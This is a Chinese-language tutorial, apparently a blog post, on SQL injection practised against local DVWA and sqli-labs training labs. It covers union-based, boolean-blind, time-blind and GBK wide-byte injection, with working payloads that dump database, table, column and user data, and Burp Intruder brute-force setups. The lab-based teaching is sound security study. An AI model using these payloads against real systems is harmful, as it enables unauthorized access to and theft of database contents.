目录
- [一、 SQL注入漏洞](#一、 SQL注入漏洞)
- 二、其他基础技巧
-
- [1. 基础注入技巧+思路](#1. 基础注入技巧+思路)
- [2. 常用函数](#2. 常用函数)
- [3. 绕过过滤处理](#3. 绕过过滤处理)
- [4. SQLmap自动化注入工具](#4. SQLmap自动化注入工具)
- 三、靶场实战
- 待续、更新中......
一、 SQL注入漏洞
原理
SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器. 导致攻击者可执行恶意SQL命令对WEB服务器进行攻击的方法
类型
根据位置分为
post 注入 , get 注入, head 头注入
利用
① 联合查询注入 ② 报错注入 ③ 盲注(布尔/时间) ④ 堆叠注入 ⑤ 宽字节注入
修复
① 使用参数化查询/预编译语句 ② 输入验证与过滤 ③ 最小权限原则 ④ 使用ORM框架 ⑤ 禁用危险函数
使用
结合 hackbar插件配合使用
或
使用burp sutie测试工具
1.联合查询注入
- phpstudy功能设置
phpstudy 开启日志记录功能

增加两行数据, 记录日历(自定义路径)
bash
general_log = 1
general_log_file = "D:/web/tools/php2018/PHPTutorial/MySQL/data/mysql.log"

重启phpstudy,即可看到文件

每次在靶场执行语句, 或者 用navicat 数据库管理工具打开数据库等操作,都可在该文件中查看执行的sql代码
- DVWA靶场设置
难度等级降为low
然后再sql注入中输入1 进行查询
查询后, 检查页面, 使用hackebar插件, 加载之前的执行语句
步骤如下所示:



插件功能--split
作用裁剪url, 使其更美观,方便

插件功能--execute
点击execute 执行你拼接的sql代码

日志文件中显示sql代码

- 判断是否存在漏洞
原理
用' 或 " ,判断引用方式是单引号 还是双引号
( 在 sql 语句中 对 id 本身进行了引用, 如 user_id=' $id' ==== user_id='1'' (引用的内容为 1' , 查询不到就会出错)
报错,说明存在漏洞。
执行命令
bash
?id=1' 或
?id=1"
?id=b'
# 报错看引号数量, 并进行注释使之成功注入
?id='b'#ajfa (#后面都注释掉了)
输入?id=b'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1
您的SQL语法有错误;查看与MySQL服务器版本对应的手册,了解第1行"2"附近使用的正确语法

- 结果
有注入
- 判断注入类型及闭合方式
- 判断是数字型or 字符型
执行命令
bash
?id=1asd
# 看是否报错:
# 有报错:数字性;
# 无报错:字符型;
字符型的参数是需要引号引起来的
- DVWA靶场
执行命令
bash
?id=1asd
# 还是能查询处数据, 确定为字符型注入

日志sql语句为

MySQL中查询得到

判断方式
and 逻辑与 判断 当条件表达式两边都为真才是真,有一边为假则是假
?id=1 and 1 =1 ,结果为真
?id=1 and 1 =2 ,结果为假
输入 1 and 1=1 与 1 and 1=2 后
查询结果都返回相同的内容 , 是字符型注入
查询结果都返回不同的内容, 则为数字型
字符型,返回结果相同( 加''引用,单引号中都为字符,判断不了真假)
查询结果都相同,如下所示

- 结果
字符型注入
- 确定闭合方式
确定它是单引号( ' ) / 双引号( '' ) / 其他闭合方式
在id=1asd基础上加上单引号
执行
bash
id=1asd'
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1asd''' at line 1

解析闭合方式
''1asd'''
1asd' ( 我们自己输入的内容)
此外, 还有4个单引号
最外层的单引号是一对引用
内层就剩下一对单引号了, 则可以确定为是单引号闭合
注释掉多余单引号
输入: id=1' --+
更多注释(--+) 及其相关MySQL隐式类型转换请阅读文章网络安全基本功---Mysql基础

原本的SQL语句
bash
SELECT first_name, last_name FROM users WHERE user_id = '1'
实际的SQL语句变为:
bash
SELECT first_name, last_name FROM users WHERE user_id = '1' -- '
后面的: --' 这几个字符,包括原本的单引号(')内容就被注释掉了
- 其他闭合方式
闭合方式1
bash
?id='b' # '
实际上我们自己构造出来的内容是 b'
闭合方式2
bash
?id='b' and '1=1 '
实际上构造出来的内容是 b' and '1=1
?id='1' and 1=2 #'
实际上我们自己构造出来的内容是 1' and 1=2 #
我们利用单引号 或某种闭合方式进行闭合后
则需要在后面加上注释如 #
需要将系统自动添加的单引号 给注释掉, 这样SQL语句才不会报错
区别
bash
不添加# , 2后面多出一个单引号', SQL语句执行不过去,如下所示
?id='1' and 1=2 '
添加#后, 2后面的单引号或者其他内容都给进行注释掉了, SQL语句正常执行,如下所示
?id='1' and 1=2 #'
等价于
?id='1' and 1=2
PS:
字符型需要引号
数字型不需要
- 判断表中列数
原理
ORDER BY 排序 当order by的数字大于当前的列数时候就会报错
对当前列数排序
如order by 2 ( 根据第二列进行排序)
如下图所示
order by 1 时, 按照第一列user_id 进行排序,1,2,3...
order by 2 时, 按照第二列first_name 进行排序, 根据首字母顺序a,b,c...

order by 9 时, 会报错,因为该表只有8列
执行命令
bash
id=1' order by 2 %23
或
id=1ab' order by 2 --+
# 为3时报错,则表有2列

- 结果
表有2列
注意
bash
# hackbar 中执行的命令为
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
?id=1' order by 2 --+&Submit=Submit#
# 实际URL为:
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
?id=1%27%20order%20by%202%20--+&Submit=Submit#
# 这是将空格/单引号等进行了编码
- 确定显示位
- union函数
UNION 操作符用于连接, 合并两个或多个 SELECT 语句的结果集
UNION 结果集中的列名 总是等于 UNION中第一个 SELECT 语句中的列名
- 原理解析
将guestbook 表中的数据(三列) 合并连接 同样是三列的数据(1,2,3 ),如下:
bash
select * from guestbook union select 1,2,3;
第一个select语句是guestbook表,则显示的列名为guestbook表的列名

第一行的 1,2,3 是列名, 这是一个虚拟表
第二行的1,2,3 是数据, 因为是虚拟表没有数据, 因而数据与列名相同
bash
select 1,2,3;

bash
select 1,2,3 union select * from guestbook ;
第一个select语句是虚拟表,则显示的列名为虚拟表的列名

原理解析
bash
# 执行
id=-1' union select 1,2 %23
或
id=1' union select 1,2 --+

如上图所示, 1,2 两个位置都显示出来了, 说明,1,2 都是回显位(显示位)
但是我们一般查询出来的数据是原本的数据,即union 左边的数据,如下所示:
bash
select * from guestbook where comment_id= 1 union select 1,2,3;

而非右边1,2...回显位的数据, 要想让显示右边回显位的数据,则需要让union左边查询的数据为空.
让union左边查询不到,可以将其改为负数或者改为比较大的数字
comment_id= -1
当comment_id= -1 或不存在的数 或 极大极小值时, 数据库中没有就会显示不出来
因而,前面数据没有,才把后面数据(这里是回显位 1,2 ) 顶上来
如下所示:
bash
select * from guestbook where comment_id= -1 union select 1,2,3;

注意事项
union使用用法:与前面的表的 列数/数据类型相同
执行命令
bash
?id=-1' union select 1,2 --+

- 结果
得到显示位: 1,2
- 获取数据库相关数据
获取数据库名称和数据库版本号
将回显位1,2 的位置上修改为
database(), version()
执行命令
bash
id=-1' union select database(),version() %23

- 结果
得到数据库名称 dvwa 和数据库版本号
- 获取数据库表名
本节数据库 information_schema表等相关内容请阅读文章网络安全基本功---Mysql基础
依据上一步得到的数据库名称dvwa, 继续操作
原理解析
bash
# 查询表名
id =-1' union select (select table_name from information_schema.tables
where table_schema='dvwa' ) ,version()%23
提示:
Subquery returns more than 1 row
子查询返回多行

使用函数
group_concat()
包裹表名table_name 为: group_concat(table_name)
执行命令
bash
id =-1' union select (select group_concat(table_name)
from information_schema.tables where table_schema='dvwa' ) ,version()%23

直接在回显位输出
bash
id=-1' union select table_name ,2
from information_schema.tables
where table_schema='dvwa' %23

实际的SQL语句为
bash
SELECT first_name, last_name FROM users WHERE user_id = '-1'
union select table_name ,2 from information_schema.tables
where table_schema='dvwa';
如下所示:

- 结果
得到表名: guestbook,users
- 获取列名&记录
- 获取列名
同上操作. 将 tables 改为 columns , 同时添加具体表名查询
执行命令
bash
?id=-1' union select column_name ,2
from information_schema.columns
where table_schema='dvwa' and table_name='users' %23
&Submit=Submit
获取到字段列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

变体写法
bash
# 使用group_concat合并字段内容, 同样可得到列名
?id=-1' union select 1, group_concat(column_name )
from information_schema.columns
where table_schema='dvwa' and table_name='users' %23

- 结果
得到列名: user 等
- 获取记录
以上操作得到了表名(users), 列名( user, password ...), 根据这些条件获取字段数据, 循序渐进
执行命令
bash
?id=-1' union select 1, group_concat(user) from users %23

- 结果
获取到字段: admin,gordonb,1337,pablo,smithy
Get 与 Post 注入
数字型 get注入 与 post注入
- get型
get型可以在URL中看到sql查询语句
- post型
post型的注入并不在URL里面作显示, URL中不能看出有明显的SQL查询语句
它的post数据在请求正文中
想要看到具体数据, 使用burpsuite工具抓包查看
关于http 中get/post详情, 请看文章网络安全协议https与http
- 区别
get 与 post 注入点不同, 其他注入的方式都一样
2.盲注
特征:
不能返回错误信息
只能利用页面正常与不正常显示来进行注入,类似聋哑人,只会摇头/点头告诉你正确答案
布尔盲注
特征
是个哑巴, 他会点头或摇头
正确:一种页面
错误:另一种页面
- sqli-labs 靶场 less-8
以sqllabs 第8关为例
原理解析
布尔盲注: 一句话, 进行判断

输入
?id=1
或者id=2, id=5 等
都显示了 you are in (说明可能能查询到该数据)
这是一种页面

输入
?id=100
则什么都不显示 (说明该id或许在数据库中没有,查询不到)
这是一种页面

1 判断是否存在注入
执行命令
id =1 and 1=1
id =1 and 1=2 (页面不同,数字型盲注 )
与
id= 1' and 1=1 %23
id= 1' and 1=2 %23 (页面不同,字符型盲注 )
执行命令
bash
# hackbar中分别执行
?id=1' and 1=1 %23
?id=1' and 1=2 %23
返回的页面内容不同, 判断为字符型盲注


- 结果
字符型盲注
2 获取数据库长度
区别
这里区别一下联合查询注入
因为盲注没有回显 ,得到列数没用
所以这里直接开始获取数据库长度
- length() 函数
获取字符串长度
函数解析
bash
select length('11111')
返回结果为5
说明该字符串长度为5

bash
select length('11111') =5;
返回结果为1
select length('11111') = 1;
返回结果为0
两者长度匹配返回布尔值1, 否则为0

利用以上原理, 来获取数据库的长度
?id=1' and length( database())>5 %23
返回 you are in ...界面. 说明长度是大于5的
?id=1' and length( database())>10 %23
返回空白页面, 说明数据库长度小于10
在5-10之间尝试, 最终得到数据库长度为8
执行命令
bash
?id=1' and length( database())=8 %23

- 结果
数据库长度 : 8
3 获取数据库名
:
substr()
:
ascii ()
- substr()
substr(string, start, length) 截取字符串,string是要截取的字符串,start是从哪个位置开始,length 是截取的长度
输入
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(), 1, 1 ) =
's' %23
# 其中database(), 1,1 这里不断尝试
substr(database(), 2, 1 )='?'
substr(database(), 3, 1 )='?'
substr(database(), 4, 1 )='?'
substr(database(), 5, 1 )='?'
......
substr(database(), 8, 1 )='?'
# 这里完全可以进行自动化操作, 进行burpsuite爆破
burpsuite进行集束炸弹模式爆破时, 根据数据库名的命名规则构建对应的字典
数据库命名, 请阅读文章: 网络安全_数据库基础

爆破时也可将substr()函数截取到的数据库名转换为ASCII码, 对ASCII码进行猜解
ascii( )
将字符转换成ascii码
对应的链接请看: ASCII码对照表
根据数据库命名规则, 可以从48开始到126结束
但是为了避免有些人不按照数据库命名规则命名, 因而可以将这个范围调大一点
可以从33 到 126 结束

操作
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr(database(),1,1))=115 %23
截取到英文字符s,转换为ASCII码是否等于 115 ?
页面显示了you are in... 说明数据库第一个字符是s

其他字符进行爆破
打开burpsuite , 抓包,重放到intruder模块
选择cluster bomb 模式, 并对对应的字符进行标记,如下所示:

:
1. 第一个位置需要从1取到8, 选择简单列表simple list ,进行添加数字1-8. 1-8是我们之前得到的数据库名的长度, 这里就是利用substr函数,从数据库名的第一个位置取字符, 第二个位置取字符... 第八个位置取字符
:
2. 第二个位置做数字字典, 选择numbers , 从33到126 , 步长为1
标记1

标记2

爆破得
对爆破结果进行length排序 如下得到数据库名的ASCII值, 进行对照ASCII码表得到数据库名
| payload1 | payload2 (ascii值) | ASCII对应值 |
|---|---|---|
| 3 | 99 | c |
| 2 | 101 | e |
| 6 | 105 | i |
| 5 | 114 | r |
| 1 | 115 | s |
| 7 | 116 | t |
| 4 | 117 | u |
| 8 | 121 | y |

- 结果
获得表名: security
4 获取表名
4.1 获取表的数量
- count() 函数
统计表中包含的记录行的总数,或 根据查询结果返回列中包含的数据行
原理解析
MySQL中查询, security数据库中的表, 命令如下:
bash
select table_name from information_schema.tables
where table_schema='security';
得到4个表

用count函数包裹 table_name , 命令如下:
bash
select count(table_name) from information_schema.tables
where table_schema="security";
得到了count的数量 4 , 即4个表
与之前查询出来的数量一致

靶场中, 将整个查询的结果进行判断
bash
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
(select count(table_name)
from information_schema.tables
where table_schema="security")=4 %23
# 从数据库中查询表的数量
(select count(table_name) from information_schema.tables
where table_schema="security")
PS:
# 整体加上括号, 再进行判断是否等于某个数字 , 来得到表的数量
折半法判断
由于我们不知道表的数量是多少
所以就先查询某个数字的中间值是否 大于 或 小于 该数字, 来缩减范围
- 结果
得到表的数量为--- 4

:
count(*)
将count(table_name) 替换为 count(1) 也可查询
统计所有行
count(1)
count(*)
4.2 获取表名长度
执行命令
bash
?id=1' and length( (select table_name from information_schema.tables
where table_schema=database() limit 0,1 ))=6 %23
折半查询, 判断表的长度
- 结果
表的长度为 : 6

length() 使用注意事项
length( ) 函数中不能再包含一个子查询,如select ,不然的话会报错, 所以,需要将当前select 查询出的整个结果用括号括起来
如下:
bash
length(
(select table_name from information_schema.tables
where table_schema=database() limit 0,1 )
)
第二个表的长度,判断
修改limit 0 的数即可
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
length(
(select table_name from information_schema.tables where table_schema=database() limit 1,1 )
)=8 %23
第三 、四个表的长度判断, 以此类推
4.3 获取表的名称
执行命令
bash
?id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() ),1,1))=101 %23
- sqli-labs靶场
接上继续
原理解析
bash
# hackbar 中执行
?id=1' and ascii(
substr(
(select table_name from information_schema.tables
where table_schema=database() ),1,1) )=101 %23
实际执行的SQL语句为:
bash
select 1 and ascii(substr( (select table_name from information_schema.tables
where table_schema=database() ),1,1))=101;
但是在navicate中 提示错误:
Subquery returns more than 1 row
子查询返回多行

图片显示查询的是security数据库, 基本同database()
说明: 多行输出, 有错误
解决: 使用limit 限制输出,1行1行进行输出
limit解析
bash
# 原始语句 执行
select table_name from information_schema.tables where table_schema=database();
得到多行数据

添加limit
bash
# 执行
select table_name from information_schema.tables
where table_schema=database() limit 0,1 ;
仅返回一行数据

limit 0,1 解析
使用 limit 0,1 进行限制输出, 从第0行开始,输出1行
0 :代表从第0行开始
1 : 代表输出几行,这里是1, 说明输出1行
limit 0: 从第1行表头下面开始, 不正常limit 1: 输出几行,正常逻辑
- 构造语句
易错点: 括号
bash
# 获取第一行的表名 + limit
select table_name from information_schema.tables
where table_schema='security' limit 0,1 ;
# 上一条语句整体加括号(重要)
( select table_name from information_schema.tables
where table_schema='security' limit 0,1 )
# 上一条语句整体放入substr() 函数的第一位
substr
(
( select table_name from information_schema.tables
where table_schema='security' limit 0,1 ) ,
1,
1
)
# 进行判断
substr
(
( select table_name from information_schema.tables
where table_schema='security' limit 0,1 ) ,
1,
1
)='e'
# 上一条语句整体放入ascii() 函数中
ascii
(
substr ( ( select table_name from information_schema.tables
where table_schema='security' limit 0,1 ) ,1,1)
)
最终构造的SQL语句为
bash
# 1 获取第一个表(limit 0 ), 第一个(substr中1)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1 ),1,1))=101 %23
# 2 获取第一个表(limit 0 ), 第二个(substr中2)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1 ),2,1))=101 %23
# 3 获取第一个表(limit 0 ), 第三个(substr中3)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1 ),3,1))=101 %23
.....
.....
# 4 获取第二个表(limit 1 ), 第1个(substr中1)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1 ),1,1))=101 %23
页面有回应

爆破
打开bp,抓包, # 选择集束炸弹cluster bomb 模式 并添加标记
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1 ),1,1))=101 %23

标记内容解析
bash
标记1:
substr函数的第二个位置 1 进行标记, 表名长度经验得 15个以内
但是根据4.2 获取的表名的长度可知为6 ,所以设置为1-6即可 );
对应的payload set 为2, payload type为简单列表simple list ;
之后添加 add 数字, 1-8 或 1-15
bash
标记2:
ascii码的结果猜测, 对这里的 101 进行标记( 数据库名, 33-126 );
对应的payload set 为3, payload type为 numbers ,from 33 to 126, step步长为1
进行start attack爆破
对length排序 , 发现946长度的数据正确, 页面有响应
得到第1个表的表名ascii值,然后转换为字母
| Payload 1 | Payload 2 | ASCII Char |
|---|---|---|
| 3 | 97 | a |
| 1 | 101 | e |
| 4 | 105 | i |
| 5 | 108 | l |
| 2 | 109 | m |
| 6 | 115 | s |
- 结果: 得到第一个表的表名
emails

以上操作是
- 将 substr( database() , 1, 1 ) 中, 中间这个数字1进行标记, 即从哪一位截取字符;作为标记1
- 将ascii() 函数获取的结果进行猜测, 进行标记,作为标记2
是用两个标记位进行爆破
但是limit 0,1 中的0 位置没有变化, 所以需要手动修改这个数字, 每次爆破出来一个表名, 就需要从limit 0 进行变化, 获取下一行的表名
将其变为
limit 1,1
limit 2,1
limit 3,1
limit 4 ,1
修改limit 0,1 数据,继续爆破
bash
# 修改limit 0 --> limit 1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1 , 1 ),1,1))=101 %23

| Payload 1 | Payload 2 | ASCII Char |
|---|---|---|
| 2 | 101 | e |
| 4 | 101 | e |
| 6 | 101 | e |
| 3 | 102 | f |
| 5 | 114 | r |
| 7 | 114 | r |
| 1 | 114 | r |
| 8 | 115 | s |
按1-8的顺序展开,表名为: referers
- 结果: 得到第二个表的表名
referers
其他表名的操作同理,过程不在赘述, 得到的其他表名为:
第三个表名: uagents
第四个表名: users
PS: 三个可变参数同时标记
若想对
- limit 0,1 中0
- substr(,1, )中1
- ascii()猜测的值101
三个同时标记, 将limit 0,1 中的0进行标记,作为标记1 , 其他的substr 与ascii 中作为标记2与标记3 即可.
对于limit 0,1 的标记过程, 如下解析: .
bash
标记:
在查询语句之后, 对limit 0中的0进行标记, %20为空格,需注意;
此外,这里是确定表的数量,从上面的操作中得知表的数量为4, 所以添加0-4 即可.
对应的payload set 为1, payload type为为简单列表simple list ;
然后添加0-4的数字 add 0.1...4 ;

ps: 三个同时标记比较难找到对应的数据, 因而这里标记了两个位置; 若同时标记进行爆破, 可以找length 长度为 946的数据( 标记2个数据时得到的)
- 获取列名
5.1 获取表中的列数
已知信息
获取到了表名
- emails
- referers
- uagents
- users
利用已知的表名,查询列名,并根据count函数获取表的列数
执行代码如下:
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
(
select count(column_name) from information_schema.columns
where table_name='emails' and table_schema='security') =2 %23
注意:
可能系统中有多个emails 表, 所以进行指定数据库查询, 根据上述操作, 也得到了less-8关的数据库名: security, 加个条件进行查询.
- 结果
进行折半查询判断,成功得到了emails 表的列数为 ------ 2
其他表列数的获取, 同上操作.
5.2 获取列名长度
由于不知道列名长度,所以才需要得到, 避免substr截取无用的长度
执行代码
bash
# 获取第一列的列名的长度
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
length((select column_name from information_schema.columns where table_name='emails'
and table_schema='security' limit 0,1 ) )=2 %23
结果
列名长度为 2

获取第2列的长度,则改变limit后的0为1。
5.3 获取列名
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii( substr( (select
column_name from information_schema.columns where table_name='emails'
and table_schema='security' limit 0,1 ) , 1,1 ) )=105 %23
由于根据以上结果,知道了第一个表列名的数量, 所以
- 对substr中1标记,添加1,2 即可
- 对 asciii猜解结果105进行标记
- 爆破, 同之前操作.

- 结果
得到列名: id
另外一个列名同上操作
- 获取记录(行)信息
6.1 获取记录数
已知
得到列名: id
现需要从email表中获取行的数量
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
and ( select count(id) from emails ) =8 %23
- 结果
折半法判断, 得到 行数为 ------8
6.2 获取记录长度
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
and ( select length(id)from emails limit 0,1 ) =1 %23
- 结果
折半法判断, 得到id列的行数为 ------ 1
6.3 获取记录内容
已知
表名 emails
列名 id
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
ascii(substr( ((select id from emails limit 0,1 ) ), 1,1 ) )=49 %23
注意
substr( (()) , 1, 1 ) 的括号
substr( ((select id from emails limit 0,1 ) ) , 1,1 )
这里有两个括号
将查询内容整体加个括号,然后将该值放入substr函数第一个参数中, 且该参数加括号.
- 结果
同上操作标记ascii的值,爆破,得到内容为 ------ 1

需要得到其他记录,修改limit 参数即可.
- 理论
加减乘除, 进行布尔盲注
时间盲注
原理
不管用户输入什么数据, 页面都没有正常或错误的回显,这种情况我们可以利用页面响应的时间来判断SQL语句有没有在目标数据中得到执行。
时间盲注, 是个聋哑人, 听不见也看不见
利用sleep(n) 函数
将程序挂起 n 秒
一般来说,最少n需设置为3s, 不然设置1s没有意义(有的网站正常打开也得1-2s)
例子
浏览器打开csdn网站
按F12---点击网络----重新加载页面----关闭右侧的请求详情面板, 在这里可查看到时间栏(服务器响应时间)


在navicate 数据库管理软件中,执行带有sleep函数的代码进行比对
执行原本命令
bash
select * from users where id=1;
可见右下角查询时间为0.001s

执行带有sleep函数的代码
bash
select * from users where id=1 and sleep(5) ;
可见查询时间为5s ,且无记录

以下展开来说, 详解时间盲注.
- sqli-labs靶场 less-9
以sqllabs 第9关为例
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1
http://127.0.0.1/sqli-labs-master/Less-9/?id=100000
无论是执行正常的,还是极大值, 页面始终保持不变 ,完全的聋哑人

- 判断是否存在漏洞
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(5) %23
或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) %23
进行判断,是否有延迟, 若有延迟说明系统执行了sleep函数,有漏洞
判断是否延迟
1 . 浏览器刷新按钮响应, 会延迟5s后才正常刷新

有可能sqllabs靶场可能会有延迟, 修改配置文件即可
bash
路径:
D:\web\tools\php2018\PHPTutorial\WWW\sqli-labs-master\sql-connections
网站根目录下sql靶场路径下的db-creds.inc 文件 (非固定路径,根据个人设置的自行调节)
bash
#原本的文件内容为
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
# 修改为:
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = '127.0.0.1'; #正常为 localhost
$dbname1 = "challenges";
?>
#localhost 是域名,需要时间来解析到ip , 因而有几秒钟的延迟
- burp suite抓包重发后,在右下角会出现5000ms, 也就是5s 的延迟

- 获取数据库名长度
使用if函数
if(语句1, 语句2, 语句3)
第1个语句正确, 执行第2个语句2 , 错误则执行语句3
根据该特性,获取判断数据库的长度
例
bash
#在navicat 中执行语句, 执行了if第2个参数, 延迟5s钟
select * from users where id=1 and if(1=1 , sleep(5), 1);

bash
#在navicat 中执行语句 , 执行了if第三个参数, 正常返回结果,无延迟
select * from users where id=1 and if(1=2 , sleep(5), 1);
判断数据库长度
bash
length(database())=8
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length(database())=8,sleep(5),1) %23
# 进行折半猜解 判断
- 结果
得到数据库长度为--- 8
网络中也显示延迟了5s

- 获取数据库名
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ascii(substr( database(), 1 , 1))=115 , sleep(5) , 1 ) %23
在burp suite 爆破数据库名
bash
#标记1
substr 1 标记
payload sets : 1 ,simple list 或 1 , numbers 1-8-1(from: 1 ;to:8 ; step: 1 )
#标记2
ASCIIi码值 115标记
payload sets : 2 , numbers 33-126-1
如图所示:

定位结果
勾选columns 中以下两列
菜单栏---- columns-----response completed 与 response received

这两列任意进行排序, 发现其response中数字远大于其他的则是正确结果


- 结果
得到数据库名: security
4 获取表名
4.1 获取表的数量
以下基本与布尔盲注一样, 区别与布尔盲注的是多了个if函数
获取的是数据库中所有表的数量
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ( select count(table_name) from information_schema.tables
where table_schema='security')=5 ,sleep(5),1)%23
- 结果
得到表的数量--- 4

4.2 获取表名长度
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( length( (select table_name from information_schema.tables
where table_schema=database() limit 0,1) )=6, sleep(5), 1 ) %23

- 结果
得到第一个表名的长度 : 6
获取其他表名的长度, 修改limit 值即可
4.3 获取表名
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ascii( substr( (select table_name from information_schema.tables
where table_schema=database() limit 0,1 ) ,1,1) )=101 ,sleep(5),1)%23
burp suite 进行标记爆破,同布尔盲注,这里不在过多赘述
- 结果
成功获取到第一个表的表名: emails
获取其他表的表名, 修改limit 值即可
- 获取字段
5.1 获取字段数
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ( select count(column_name) from information_schema.columns
where table_name='emails' and table_schema='security' )=2 ,sleep(5),1) %23
- 结果
得到表中的字段(列)数为: 2
5.2 获取字段的长度
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if( length((
select column_name from information_schema.columns where
table_name='emails' and table_schema='security' limit 0,1 ))=2 ,sleep(5),1 )%23
- 结果
得到表中的第一个字段的长度为: 2
获取其字段的长度, 修改limit 值即可
5.3 获取字段名
执行代码
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if( length((
select column_name from information_schema.columns where
table_name='emails' and table_schema='security' limit 0,1 ))=2 ,sleep(5),1 )%23
在burp suite 标记, 爆破字段名

- 结果
得到表中的第一个字段名: id
获取其它字段名, 修改limit 值即可
- 获取记录内容
6.1 获取记录数量
已知
表名: emails
列名: id
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ( select count(id) from emails )=8 ,sleep(5),1) %23
- 结果
得到表中id列的记录数为: 8
获取其它字段记录数, 得到字段名查询即可
6.2 获取记录长度
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( length(( select id from emails limit 0,1 ))=1 ,sleep(5),1) %23
- 结果
得到表中id列的第一行的记录长度为: 1
获取id列的其它行的记录长度, 修改limit 值即可.
6.2 获取记录内容
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( ascii(substr((select id from emails limit 0,1) ,1,1))=49,sleep(5),1) %23
# 或直接用substr
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if( substr((select id from emails limit 0,1) ,1,1)='1',sleep(5),1) %23
同样,进行标记和爆破
- 结果
得到表中id列的第一行的记录内容为: 1
获取id列的其它行的记录长度, 修改limit 值即可.
3 宽字节注入
- 窄字节与宽字节
如果一个字符的大小是一个字节的,称为窄字节;
如果一个字符的大小是两个字节的,称为宽字节。
1个字符大小=1字节=窄字节(如英文)
1个字符大小=2字节=宽字节(如中文)
英文默认占一个字节,中文占两个字节
- 宽字节安全问题
两个ASCII字符误认为是一个宽字节字符
ASCII字符: 一个字节
- 注入原理
一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动组合为一个汉字。
- sqllabs less-32
以sqlabs 靶场第32关为例
1.是否存在注入
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
成功显示

- 结果
存在注入
2.判断注入类型
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-32/?id=1asd

- 结果
字符型注入
- 数据库防御机制
当输入: 1a' 时 , 数据库会将单引号( ' ) 转义为 普通单引号( \ ' ) ,不具备闭合的作用了,也就无法注入

解析
- 数据库将数据传输编码的函数进行编码
- 编码后数据不变
- 再次将数据进行gbk编码
- 最终将数据带入数据库执行
PS:
单引号 ' ---gbk编码后----%5C%27
- 绕过
执行命令
bash
# 添加%df
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'
# 注意
id=1%df' ,没有空格
id=1%df ',有空格
# 在这, 这两个是不同的语句, 空格也会进行编码
bash
1. 与之前先比较,添加了 %df
2. 原本的单引号' , 数据库则进行编码为: %5c%27
3. 两者组合为: %df%5c 实际组成的gbk编码为: 運
4. 最后的%27 , 则还是单引号
点击查询: GBK编码表

使用插件charset: 设置编码为gbk中文, 浏览器显示文字

这时成功进行了报错, 可以进行下一步注入了.
bash
# 正常注入流程, 添加注释...
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 0 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3 --+

继续
bash
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

出现问题了
security 没有被正确执行 提示错误: ''security'
因为这里对数据库名旁边的单引号也进行了编码, 单引号用不了,所以:
- 对数据库名进行16进制编码
- 0x + 编码后的数字, 整体作为注入: 0x7365637572697479
0x为16进制格式
